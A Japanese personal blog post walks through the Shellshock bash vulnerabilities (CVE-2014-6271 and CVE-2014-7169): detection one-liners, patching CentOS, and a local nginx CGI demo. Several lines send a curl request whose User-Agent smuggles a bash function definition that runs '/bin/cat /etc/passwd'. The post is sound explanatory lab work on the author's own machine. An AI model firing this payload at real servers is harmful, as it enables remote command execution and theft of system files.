スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
総合案内当ブログについて
Windowsの目次Linuxの目次Linuxの目次2・ ・自作PC関連の目次Web技術関連の目次
全記事一覧情報サイト新着RSS一覧

Sponsored Link

bashの脆弱性(CVE-2014-6271)がやばいとか何とか 言われてるので色々やってみた

ちょっと乗り遅れましたけど。
bashにかなりやばい脆弱性が見つかったとかで大騒ぎになってますね。
「bash」シェルに重大な脆弱性、主要Linuxでパッチが公開
bashシェルの修正パッチは不完全、脆弱性突く攻撃の報告も
Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271) in Red Hat Enterprise Linux
これ書いてる現在、CentOSにはupdate来てるけど、LMDEの方は来てませんね。まぁ、うちのLMDEは別に公開したりしてるわけじゃないからいいですけども。

1.確認方法
bashの脆弱性がヤバすぎる件
bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた
あるコマンドの実行結果でやばいかどうかがわかるとのこと。
やってみましょう。

・おうちCentOSサーバー
以下のコマンドを実行して「manuke」が表示された場合、CVE-2014-6271の影響を受ける可能性がある。

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
manuke
Hi


やっべ。

$ sudo yum update
(中略)
Updating:
bash x86_64 4.1.2-15.el6_5.1 updates 905 k
device-mapper-multipath x86_64 0.4.9-72.el6_5.4 updates 117 k
device-mapper-multipath-libs x86_64 0.4.9-72.el6_5.4 updates 181 k
kpartx x86_64 0.4.9-72.el6_5.4 updates 59 k
zsh x86_64 4.3.10-8.el6_5 updates 2.1 M


来てますね。
インストールして・・・

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
bash: warning: AHO: ignoring function definition attempt
bash: error importing function definition for `AHO'
Hi


再起動しないでも直ったようです。

・さくらVPSのCentOSサーバー
以下のコマンドを実行して「vulnerable」が表示された場合、CVE-2014-6271の影響を受ける可能性がある。

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test


まずいですね。ヒジョーにまずいですね。
同じく

$ sudo yum update


まぁ、同じCentOSですし。

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test


おっけー。
Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271) in Red Hat Enterprise Linuxでは

Why does this say to run ldconfig? The bash rpm doesn't even include any libs...


とか言われてるんですがやったほうがいいんですかね?よくわかりません。
特別に作成された環境変数を使用した Bash コード挿入の脆弱性 (CVE-2014-6271)

システムやサービスの再起動は不要です。本脆弱性は、bashの起動の初期段階においてプロセスの環境をカーネルから読み込む処理中に存在しています。これはbashが「起動する」際にのみ発生します。アップデート版のbashをインストールした後、新規のプロセスは新規のコードで起動してきますので、影響を受けません。既に動作中のbashは、旧コードのままで再度起動してくることはありませんので、同脆弱性は出現しません。


ということなので、まぁこれで大丈夫なんでしょう。たぶん。

2.なにがやばいのか
bashシェルの修正パッチは不完全、脆弱性突く攻撃の報告も

Red Hatなどは現在、CVE-2014-7169の脆弱性を修正するパッチの開発を急いでいる。しかし、これを待たずにまずCVE-2014-6271の脆弱性を解決するパッチを適用するよう勧告した。後から見つかったCVE-2014-7169の脆弱性の方が危険度は低いという。


見つかった脆弱性は2つ。今回のUpdateで直ってるのはより危険度の高いCVE-2014-6271で、CVE-2014-7169のパッチはまだ開発中らしい。
BASHの脆弱性でCGIスクリプトにアレさせてみました
面白そうなのでやってみましょうか。ちょうどLMDEではまだ修正パッチが来てないことですし。

$ sudo touch /usr/share/nginx/html/hoge.cgi
$ sudo nano /usr/share/nginx/html/hoge.cgi


#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"


$ sudo chown www-data:www-data /usr/share/nginx/html/hoge.cgi
$ sudo chmod 755 /usr/share/nginx/html/hoge.cgi
Chromium.png あれ?表示されずにDLされちゃいましたね。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"


ふつーじゃん。

いやいやちょっと待て。Nginxでcgiを表示するように設定してない。
というわけで、
・Nginxで.cgiを実行するように設定。(なんか本旨から外れてきたような気がしてきましたが
nginxでperl/CGIを利用する方法 on debian6Add Star
fcgiwrap spawn-fcgiをインストールしてちょこちょこ設定いじればいけそう。

$ sudo apt-get install fcgiwrap spawn-fcgi


Nginxの設定ファイルはこんな感じ。

Nginx再起動してhttp://localhost.hoge.cgiにアクセス。
hogecgi 表示されましたね。

・では本題

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
Hi! I'm an ordinary CGI script which is executed by /bin/bash


あるぇー?これって大丈夫じゃないですかね?

と思ったけどそうではない。
Debianのデフォルトシェルは sh(lenny) dash(Squeeze) (ちなみにCentOS、RHEL、Fedora、MacOSXがデフォルトでbash)
つまり今回の脆弱性の影響を確認するにはhoge.cgiの内容はbin/bashを指定しないとshだかdashで実行されてしまいます。よってDebian系で正しく再現するにはこうなります。

#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/bash"


localhosthogecgi.png ブラウザからはふつー。
$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
tmin-note.png ぎゃー 
/bin/cat /etc/passwdの実行結果が表示されてますね。つまりここを入れ替えてもっと悪いコードを実行される可能性がありありだということです。やばい。

・具体的になにが起こってるのか?
Bash 脆弱性 -ShellShock- (5) CVE-2014-6271 で fix されていない CVE-2014-7169 の脆弱性って何か確認してみました
上の記事が非常にわかりやすいです。

本来はshにしてた時の実行結果

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
Hi! I'm an ordinary CGI script which is executed by /bin/bash


これが正しい(危険でない)実行結果ですね。hoge.cgiの中身を実行しただけの結果が得られています。
しかし、bashの脆弱性をついた時は「/bin/cat /etc/passwd」が実行されて端末出力されています。今回試したのはcatですが、どうもいくつか試してみると/bin以下のコマンドは普通に実行可能なようです。
ちなみにsbin以下もいくつか試してみたんですが、それはとりあえずなにも実行されない模様。(権限次第でどうなるかはわかりませんが)

BASHの脆弱性でCGIスクリプトにアレさせてみました

CGI本体をシェルスクリプトで書いていなくても、シェルを使って外部コマンドを呼び出しているだけでこの脆弱性の影響を受けるケースを確認しました。


ということなので、危険箇所は相当な範囲に及ぶかと思います。

3.対策はどーすれば?
・パッチ出てるデストリはとりあえずなにはなくともupdate。
・bashを使わないでshとかにする(すでに大量のCGIファイルやbash呼び出す処理があるファイルを全部探して治すのは非現実的かもしれない)
特別に作成された環境変数を使用した Bash コード挿入の脆弱性 (CVE-2014-6271)の下の方の対策打てるだけ打つ。
回避策: mod_security の使用・ IPTables の使用で問題は緩和できるみたい。

しかし、すでに大きめのサイトいくつか使ってるとかだとキツイかもね。
まぁ、RedHat系はすでにこの問題に関してはセキュリティパッチを提供してるし、bashのupdateだけすれば再起動は不要みたいなのでとりあえずyum update しときましょー。

4.残る脆弱性CVE-2014-7169とは
Bash 脆弱性 -ShellShock- (5) CVE-2014-6271 で fix されていない CVE-2014-7169 の脆弱性って何か確認してみました

やってみましょうか。まずはLMDE。

$ mkdir hoge
$ cd hoge
$ env -i X='() { (a)=>\' bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ ls
echo
$ cat echo
Fri Sep 26 15:25:45 JST 2014


あらら。

「date」という文字列を「echo」(表示)するだけでなのですが、実際には「echo」というファイル名が生成され、その中に「date」コマンドを実行した結果がリダイレクト「>」(ファイル生成して保存)されています。


えぇ。echoというファイルが生成されて中身がdate出力したものになってます。
このあとbashがupdateされたCentOSサーバーでやっても同じでしたね。

ということは?本来dateという文字列を表示するだけ、というところdateコマンドが実行され、それがechoというファイルになる。想定してない動きとしては、「echoというファイルが作られる」「dateコマンドが実行される(その内容がファイルに保存される)」という二点ですかね。
ちょっと工夫してみましょう。

$ env -i X='() { (a)=>\' bash -c 'echo dmesg'
$ cat echo


hogedmesg.png ぎゃー
しかし、想定外の動きをするとはいえCVE-2014-6271の危なさは、「リモートで任意のコマンドを実行できる」ことが大きかったと思います。CVE-2014-6271の場合、

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi


悪いことのためには、標的のURL(CGI)に向けて/bin/cat /etc/passwdの内容を変えてコード実行することにより、標的サーバーの操作、情報抜き出しなどに使える可能性があります。
対してCVE-2014-7169の場合はちょっとこれをリモートから使う方法ってのは浮かびません。(しかしもっと頭の良い悪い人がうまくやる可能性はありますが)
CVE-2014-6271→CVE-2014-7169のコンボができたならば、CVE-2014-6271で特定のコマンドを実行し、さらにCVE-2014-7169で任意の内容のファイルやスクリプトをサーバー上に作ることができるかもしれません。

今年はDNSキャッシュやらOpenSSLやら大変なことになってるなぁというところにこれ。ここ半年ほどでメンテがおろそかになっているサーバーを持っている方は色々見直しましょう。次々と致命的なのが出てきてますので。

あまりにも深刻そうなので参考になりそうなリンク片っ端からまとめておきます。影響ありそうな方は対処急いだほうがいいよー
bashにコードインジェクションの脆弱性「Shellshock」、管理者に大きなショック
BASHの脆弱性でCGIスクリプトにアレさせてみました
bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた
BASHの脆弱性でCGIモードで動いてるPHPにアレさせてみました
Bash 脆弱性 – ShellShock- (1) CVE-2014-6271 / CVE-2014-7169 絶賛対応中です
Bash 脆弱性 – ShellShock- (2) CVE-2014-6271 / CVE-2014-7169 は何が危険で問題なのかを検証してみました
Bash 脆弱性 -ShellShock- (5) CVE-2014-6271 で fix されていない CVE-2014-7169 の脆弱性って何か確認してみました
Bug 1141597 - (CVE-2014-6271) CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
関連記事
総合案内当ブログについて
Windowsの目次Linuxの目次Linuxの目次2・ ・自作PC関連の目次Web技術関連の目次
全記事一覧情報サイト新着RSS一覧

Sponsored Link

コメントの投稿

管理者にだけ表示を許可する
ブログ内検索

カスタム検索

フリーエリア

クリックで救える命がある。

レンタルサーバー

さくらのマネージドサーバ
さくらインターネットのVPS
ConoHaのVPS
WebARENA VPSクラウド
99円レンタルサーバー
【CloudCore VPS】
GMOクラウドのレンタルサーバー
転送量無制限 ABLENET
@WAPPYレンタルサーバー
SPPDレンタルサーバー

カテゴリー+月別アーカイブ

 

アクセスカウンター

現在の閲覧者数:

プロフィール

Author:tmin
PCヲタ。ライト2ちゃんねら。
スロット好きのギャンブラー。(元
むしろ人生がギャンブルだが目下のところ負けっぱなし。
座右の銘は「結果オーライ」。故に基本適当。
トラブルもまた楽しみのひとつ

コメント、トラバ、相互リンク歓迎。お気軽にどうぞ。
当ブログについて
Twitterでこっちとあっちの更新情報流すことにしてみます。
http://twitter.com/t_min
Project Mikunchu♪Wikiできました。
Mikunchu200x40.png


上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。